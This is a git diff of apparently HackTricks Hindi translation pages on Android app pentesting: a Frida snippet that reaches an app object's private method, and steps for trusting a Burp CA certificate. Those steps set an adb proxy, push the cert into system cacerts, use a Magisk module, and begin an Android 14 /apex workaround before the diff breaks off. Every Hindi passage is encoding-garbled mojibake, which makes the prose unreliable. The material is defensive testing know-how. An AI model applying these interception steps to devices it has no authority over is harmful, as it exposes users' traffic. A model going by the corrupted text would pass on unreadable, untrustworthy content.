@@ -210,11 +210,11 @@ console.log("Return value: " + ret)
return ret
}
```
-### рдХрд┐рд╕реА рдкрд╣рд▓реЗ рд╕реЗ рдмрдирд╛рдП рдЧрдП class рдХреЗ object рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛
+### рдХрд┐рд╕реА рдХреНрд▓рд╛рд╕ рдХреЗ рдкрд╣рд▓реЗ рд╕реЗ рдмрдирд╛рдП рдЧрдП рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛
-рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдмрдирд╛рдП рдЧрдП object рдХрд╛ рдХреЛрдИ attribute рдирд┐рдХрд╛рд▓рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+рдпрджрд┐ рдЖрдк рдмрдирд╛рдП рдЧрдП рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдХреЛрдИ attribute рдирд┐рдХрд╛рд▓рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕реЗ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
-рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ class my_activity рдХрд╛ object рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ рдХреИрд╕реЗ .secret() function рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВ рдЬреЛ object рдХрд╛ рдПрдХ private attribute print рдХрд░реЗрдЧрд╛:
+рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЖрдк рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рдХреНрд▓рд╛рд╕ my_activity рдХрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреИрд╕реЗ .secret() рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдПрдХ private attribute рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛:
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity", {
onMatch: function (instance) {
diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
index 31b72189a..0cc73a94a 100644
--- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
+++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
@@ -1,11 +1,11 @@
-# Burp рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ
+# Burp рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ
{{#include ../../banners/hacktricks-training.md}}
-## ADB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд┐рд╕реНрдЯрдо-рд╡реНрдпрд╛рдкреА рдкреНрд░реЙрдХреНрд╕реА
+## ADB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд┐рд╕реНрдЯрдо-рд╡рд╛рдЗрдб proxy
-рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ HTTP рдкреНрд░реЙрдХреНрд╕реА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╕рднреА рдРрдкреНрд╕ рдХрд╛ рдЯреНрд░реИрдлрд╝рд┐рдХ рдЖрдкрдХреЗ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯрд░ (Burp/mitmproxy) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛рдП:
+рдПрдХ рдЧреНрд▓реЛрдмрд▓ HTTP proxy рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╕рднреА рдРрдкреНрд╕ рдХрд╛ рдЯреНрд░реИрдлрд╝рд┐рдХ рдЖрдкрдХреЗ interceptor (Burp/mitmproxy) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реЛрдХрд░ рдЧреБрдЬрд╝рд░реЗрдВ:
```bash
# Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080
@@ -13,20 +13,19 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy
adb shell settings put global http_proxy :0
```
-рдЯрд┐рдк: Burp рдореЗрдВ рдЕрдкрдирд╛ listener 0.0.0.0 рд╕реЗ bind рдХрд░реЗрдВ рддрд╛рдХрд┐ LAN рдкрд░ рдбрд┐рд╡рд╛рдЗрд╕ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХреЗрдВ (Proxy -> Options -> Proxy Listeners).
+Tip: Burp рдореЗрдВ рдЕрдкрдиреЗ listener рдХреЛ 0.0.0.0 рдкрд░ рдмрд╛рдЗрдВрдб рдХрд░реЗрдВ рддрд╛рдХрд┐ LAN рдкрд░ рдбрд┐рд╡рд╛рдЗрд╕ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХреЗрдВ (Proxy -> Options -> Proxy Listeners).
-## рдПрдХ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдкрд░
+## рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдкрд░
-рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ Burp рд╕реЗ Der certificate рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЖрдк рдпрд╣ _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ рдореЗрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ Burp рд╕реЗ Der certificate рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЖрдк рдпрд╣ _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ рдореЗрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ
.png>)
-**Der рдлреЙрд░реНрдореЗрдЯ рдореЗрдВ certificate export рдХрд░реЗрдВ** рдФрд░ рдЪрд▓рд┐рдП рдЗрд╕реЗ рдЙрд╕ рдлреЙрд░реНрдо рдореЗрдВ рдмрджрд▓рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ **Android** рд╕рдордЭ рд╕рдХреЗред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **AVD рдореЗрдВ Android рдорд╢реАрди рдкрд░ burp certificate configure рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдЖрдкрдХреЛ рдпрд╣ рдорд╢реАрди **`-writable-system`** рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рд╛рде **run** рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред\
-рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдк рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:
+**Export the certificate in Der format** рдФрд░ рдЖрдЗрдП рдЗрд╕реЗ рдПрдХ рдРрд╕реЗ рдлреЙрд░реНрдо рдореЗрдВ рдмрджрд▓рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ **Android** рд╕рдордЭ рд╕рдХреЗред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **burp certificate рдХреЛ Android рдорд╢реАрди рдореЗрдВ AVD рдореЗрдВ configure рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдЖрдкрдХреЛ рдЗрд╕ рдорд╢реАрди рдХреЛ **run** **with** **`-writable-system`** рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдирд╛ рд╣реЛрдЧрд╛.\ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдк рдЗрд╕реЗ рдЗрд╕ рддрд░рд╣ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
-рдлрд┐рд░, **burps certificate рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП**:
+рдлрд┐рд░, **burps certificate рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ**:
```bash
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@@ -37,43 +36,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
-рдЬрдм **рдорд╢реАрди рдХрд╛ рдкреБрдирд░рд╛рд░рдВрдн рдкреВрд░рд╛ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж** рддреЛ Burp рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд▓рдЧреЗрдЧрд╛!
+рдЬрдм рдорд╢реАрди **rebooting рдкреВрд░рд╛ рдХрд░ рд▓реЗрдЧреА** рддреЛ Burp certificate рдЙрд╕ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛ рдЬрд╛рдПрдЧрд╛!
## Magisc рдХрд╛ рдЙрдкрдпреЛрдЧ
-рдпрджрд┐ рдЖрдкрдиреЗ рдЕрдкрдирд╛ рдбрд┐рд╡рд╛рдЗрд╕ **Magisc рдХреЗ рд╕рд╛рде rooted** рдХрд┐рдпрд╛ рд╣реИ (рд╢рд╛рдпрдж рдПрдХ emulator), рдФрд░ рдЖрдк рдкрд┐рдЫрд▓реЗ **steps** рдХрд╛ рдкрд╛рд▓рди рдХрд░рдХреЗ Burp cert рдЗрдВрд╕реНрдЯреЙрд▓ рдирд╣реАрдВ рдХрд░ рдкрд╛ рд░рд╣реЗ рдХреНрдпреЛрдВрдХрд┐ **filesystem is read-only** рд╣реИ рдФрд░ рдЖрдк рдЙрд╕реЗ writable рдХреЗ рд▓рд┐рдП remount рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ, рддреЛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИред
+рдпрджрд┐ рдЖрдкрдиреЗ **Magisc рд╕реЗ рдЕрдкрдирд╛ рдбрд┐рд╡рд╛рдЗрд╕ rooted** рдХрд┐рдпрд╛ рд╣реИ (рд╢рд╛рдпрдж рдПрдХ emulator), рдФрд░ рдЖрдк рдкрд┐рдЫрд▓реЗ **steps** рдХреЛ Burp cert рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **follow рдирд╣реАрдВ рдХрд░ рдкрд╛рдП** рдХреНрдпреЛрдВрдХрд┐ **filesystem is read-only** рд╣реИ рдФрд░ рдЖрдк рдЙрд╕реЗ writable рдХреЗ рд░реВрдк рдореЗрдВ remount рдирд╣реАрдВ рдХрд░ рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИред
-рдЬреИрд╕рд╛ рдХрд┐ [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЖрдкрдХреЛ рдпрд╣ рдХрд░рдирд╛ рд╣реЛрдЧрд╛:
+Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you need to:
-1. **Install a CA certificate**: рдмрд╕ рдореЛрдмрд╛рдЗрд▓ рдореЗрдВ DER Burp certificate рдХреЛ **drag&drop** рдХрд░реЗрдВ рдФрд░ рдЗрд╕рдХреА extension `.crt` рдореЗрдВ рдмрджрд▓реЗрдВ рддрд╛рдХрд┐ рдпрд╣ Downloads рдлреЛрд▓реНрдбрд░ рдореЗрдВ рд╕реЗрд╡ рд╣реЛ рдЬрд╛рдП рдФрд░ рдлрд┐рд░ `Install a certificate` -> `CA certificate` рдкрд░ рдЬрд╛рдПрдБ
+1. **Install a CA certificate**: рдмрд╕ **drag&drop** рдХрд░рдХреЗ DER Burp certificate рдХреА extension рдХреЛ `.crt` рдореЗрдВ рдмрджрд▓ рдХрд░ рдореЛрдмрд╛рдЗрд▓ рдХреЗ Downloads рдлреЛрд▓реНрдбрд░ рдореЗрдВ рд░рдЦреЗрдВ рдФрд░ `Install a certificate` -> `CA certificate` рдкрд░ рдЬрд╛рдПрдБ
-- рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВ рдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕рдВрдЧреНрд░рд╣рд┐рдд рд╣реБрдЖ рд╣реИ: `Trusted credentials` -> `USER` рдкрд░ рдЬрд╛рдПрдБ
+- рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ certificate рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕реНрдЯреЛрд░ рд╣реБрдЖ рд╣реИ: `Trusted credentials` -> `USER` рдкрд░ рдЬрд╛рдХрд░
-2. **Make it System trusted**: Magisc рдореЙрдбреНрдпреВрд▓ [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (.zip рдлрд╝рд╛рдЗрд▓) рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ, рдЙрд╕реЗ рдлреЛрди рдореЗрдВ **drag&drop** рдХрд░реЗрдВ, рдлреЛрди рдореЗрдВ **Magics app** рдЦреЛрд▓реЗрдВ рдФрд░ **`Modules`** рд╕реЗрдХреНрд╢рди рдореЗрдВ рдЬрд╛рдПрдБ, **`Install from storage`** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ, `.zip` рдореЙрдбреНрдпреВрд▓ рдЪреБрдиреЗрдВ рдФрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдлреЛрди рдХреЛ **reboot** рдХрд░реЗрдВ:
+2. **Make it System trusted**: Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (.zip file) рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ, рдЙрд╕реЗ рдлреЛрди рдореЗрдВ **drag&drop** рдХрд░реЗрдВ, рдлреЛрди рдореЗрдВ **Magics app** рдЦреЛрд▓рдХрд░ **`Modules`** рд╕реЗрдХреНрд╢рди рдкрд░ рдЬрд╛рдПрдБ, **`Install from storage`** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ, `.zip` module рдЪреБрдиреЗрдВ рдФрд░ install рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдлреЛрди **reboot** рдХрд░реЗрдВ:
-- рд░реАрдмреВрдЯ рдХреЗ рдмрд╛рдж, `Trusted credentials` -> `SYSTEM` рдкрд░ рдЬрд╛рдПрдБ рдФрд░ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ Postswigger cert рд╡рд╣рд╛рдБ рд╣реИ
+- рд░рд┐рдмреВрдЯ рдХреЗ рдмрд╛рдж `Trusted credentials` -> `SYSTEM` рдкрд░ рдЬрд╛рдХрд░ рджреЗрдЦреЗрдВ рдХрд┐ Postswigger cert рд╡рд╣рд╛рдБ рдореМрдЬреВрдж рд╣реИ
-### Magisc рдореЙрдбреНрдпреВрд▓ рдХреИрд╕реЗ рдмрдирд╛рдирд╛ рд╕реАрдЦреЗрдВ
+### Magisc module рдмрдирд╛рдирд╛ рд╕реАрдЦреЗрдВ
-Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
+рджреЗрдЦреЗрдВ [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
## Android 14 рдХреЗ рдмрд╛рдж
-рд╣рд╛рд▓ рдХреЗ Android 14 рд░рд┐рд▓реАрдЬрд╝ рдореЗрдВ system-trusted Certificate Authority (CA) рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЗ рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдореЗрдВ рдПрдХ рдмрдбрд╝рд╛ рдмрджрд▓рд╛рд╡ рджреЗрдЦрд╛ рдЧрдпрд╛ рд╣реИред рдкрд╣рд▓реЗ рдпреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ **`/system/etc/security/cacerts/`** рдореЗрдВ рд░рдЦреЗ рдЬрд╛рддреЗ рдереЗ, рдЬрд┐рдиреНрд╣реЗрдВ root privileges рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХреНрд╕реЗрд╕ рдФрд░ рдореЙрдбрд┐рдлрд╛рдИ рдХрд░ рд╕рдХрддреЗ рдереЗ, рдЬрд┐рд╕рд╕реЗ рдпреЗ рддреБрд░рдВрдд рдкреВрд░реЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдкреНрд░рднрд╛рд╡реА рд╣реЛрддреЗ рдереЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, Android 14 рдореЗрдВ рдЗрдирдХрд╛ рд╕реНрдЯреЛрд░реЗрдЬ рд╕реНрдерд╛рди **`/apex/com.android.conscrypt/cacerts`** рдкрд░ рд╢рд┐рдлреНрдЯ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ **`/apex`** рдкрд╛рде рдХреЗ рднреАрддрд░ рдХрд╛ рдПрдХ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╣реИ рдФрд░ рдкреНрд░рдХреГрддрд┐рдЧрдд рд░реВрдк рд╕реЗ immutable рд╣реИред
+Android 14 рдХреА рд╣рд╛рд▓рд┐рдпрд╛ рд░рд┐рд▓реАрдЬрд╝ рдореЗрдВ system-trusted Certificate Authority (CA) certificates рдХреЗ рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрджрд▓рд╛рд╡ рдЖрдпрд╛ рд╣реИред рдкрд╣рд▓реЗ рдпреЗ certificates **`/system/etc/security/cacerts/`** рдореЗрдВ рд░рдЦреЗ рдЬрд╛рддреЗ рдереЗ, рдЬрд┐рдиреНрд╣реЗрдВ root privileges рд╡рд╛рд▓реЗ рдпреВрдЬрд╝рд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдФрд░ рдореЙрдбрд┐рдлрд╛рдИ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛ рдФрд░ рдпреЗ рдмрджрд▓рд╛рд╡ рд╕рд┐рд╕реНрдЯрдо-рд╡реНрдпрд╛рдкреА рддреБрд░рдВрдд рд▓рд╛рдЧреВ рд╣реЛрддреЗ рдереЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, Android 14 рдХреЗ рд╕рд╛рде рд╕реНрдЯреЛрд░реЗрдЬ рд▓реЛрдХреЗрд╢рди рдХреЛ **`/apex/com.android.conscrypt/cacerts`** рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ **`/apex`** рдкрде рдХреЗ рднреАрддрд░ рдЖрддрд╛ рд╣реИ рдФрд░ рдореВрд▓рддрдГ immutable рд╣реИред
-APEX cacerts path рдХреЛ writable рдХреЗ рд░реВрдк рдореЗрдВ remount рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рд╡рд┐рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдРрд╕реЗ рдСрдкрд░реЗрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ред рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ unmount рдХрд░рдиреЗ рдпрд╛ temporary file system (tmpfs) рдХреЗ рд╕рд╛рде overlay рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рднреА immutability рдХреЛ рдкрд╛рд░ рдирд╣реАрдВ рдХрд░ рдкрд╛рддреЗ; рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реНрддрд░ рдкрд░ рдХрд┐рдП рдЧрдП рдмрджрд▓рд╛рд╡реЛрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж рдореВрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрддреА рд░рд╣рддреА рд╣реИрдВред рдпрд╣ рд▓рдЪреАрд▓рд╛рдкрди рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ **`/apex`** рдорд╛рдЙрдВрдЯ рдХреЛ PRIVATE propagation рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ **`/apex`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рднреА рд╕рдВрд╢реЛрдзрди рдХрд╛ рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдкрд░ рдкреНрд░рднрд╛рд╡ рдирд╣реАрдВ рдкрдбрд╝рддрд╛ред
+`/apex` рдХреЗ cacerts path рдХреЛ writable рдХреЗ рд░реВрдк рдореЗрдВ remount рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рд╡рд┐рдлрд▓ рд░рд╣рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдРрд╕реА рдСрдкрд░реЗрд╢рдиреНрд╕ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ред рдпрд╣рд╛рдВ рддрдХ рдХрд┐ directory рдХреЛ unmount рдХрд░рдиреЗ рдпрд╛ рдЙрд╕реЗ tmpfs рдХреЗ рд╕рд╛рде overlay рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рднреА immutability рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдирд╣реАрдВ рдХрд░ рдкрд╛рддреЗ; applications рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реНрддрд░ рдкрд░ рдХрд┐рдП рдЧрдП рдмрджрд▓рд╛рд╡реЛрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж рдореВрд▓ certificate рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрддреА рд░рд╣рддреА рд╣реИрдВред рдпрд╣ рдордЬрдмреВрддреА рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ **`/apex`** рдорд╛рдЙрдВрдЯ рдХреЛ PRIVATE propagation рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ **`/apex`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рднреАрддрд░ рдХрд┐рдП рдЧрдП рдХреЛрдИ рднреА рд╕рдВрд╢реЛрдзрди рдЕрдиреНрдп рдкреНрд░реЛрд╕реЗрд╕реЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рдХрд░рддреЗред
-Android рдХреА initialization рдореЗрдВ `init` рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╢реБрд░реВ рд╣реЛрдиреЗ рдкрд░ Zygote рдкреНрд░рдХреНрд░рд┐рдпрд╛ рднреА рд╢реБрд░реВ рдХрд░рддреА рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ application processes рдХреЛ рдПрдХ рдирдП mount namespace рдХреЗ рд╕рд╛рде рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ private **`/apex`** mount рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕ рддрд░рд╣ рдЗрд╕ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдХрд┐рдП рдЧрдП рдкрд░рд┐рд╡рд░реНрддрди рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рд╕реЗ рдЕрд▓рдЧ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред
+Android рдХреА initialization `init` process рджреНрд╡рд╛рд░рд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ operating system рд╢реБрд░реВ рд╣реЛрдиреЗ рдкрд░ Zygote process рдХреЛ рднреА initiate рдХрд░рддрд╛ рд╣реИред рдпрд╣ process рдирдП mount namespace рдХреЗ рд╕рд╛рде application processes рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ private **`/apex`** mount рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЗрд╕ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдХрд┐рдП рдЧрдП рдмрджрд▓рд╛рд╡ рдЕрдиреНрдп рдкреНрд░реЛрд╕реЗрд╕реЛрдВ рд╕реЗ рдЕрд▓рдЧ-рдерд▓рдЧ рд░рд╣рддреЗ рд╣реИрдВред
-рдлрд┐рд░ рднреА, рдЬрд┐рди рд▓реЛрдЧреЛрдВ рдХреЛ **`/apex`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рднреАрддрд░ system-trusted CA рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЙрдирдХреЗ рд▓рд┐рдП рдПрдХ workaround рдореМрдЬреВрдж рд╣реИред рдЗрд╕рдореЗрдВ PRIVATE propagation рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдореИрдиреНрдпреБрдЕрд▓реА **`/apex`** рдХреЛ remount рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ writable рдмрди рдЬрд╛рддрд╛ рд╣реИред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **`/apex/com.android.conscrypt`** рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕реНрдерд╛рди рдкрд░ рдХреЙрдкреА рдХрд░рдирд╛, **`/apex/com.android.conscrypt`** рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ unmount рдХрд░рдирд╛ рддрд╛рдХрд┐ read-only рдмрд╛рдзрд╛ рд╣рдЯреЗ, рдФрд░ рдлрд┐рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЙрд╕рдХреЗ рдореВрд▓ рд╕реНрдерд╛рди рдкрд░ рд╡рд╛рдкрд╕ restore рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рддрд░реАрдХреЗ рдХреЗ рд▓рд┐рдП рддреЗрдЬрд╝ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ 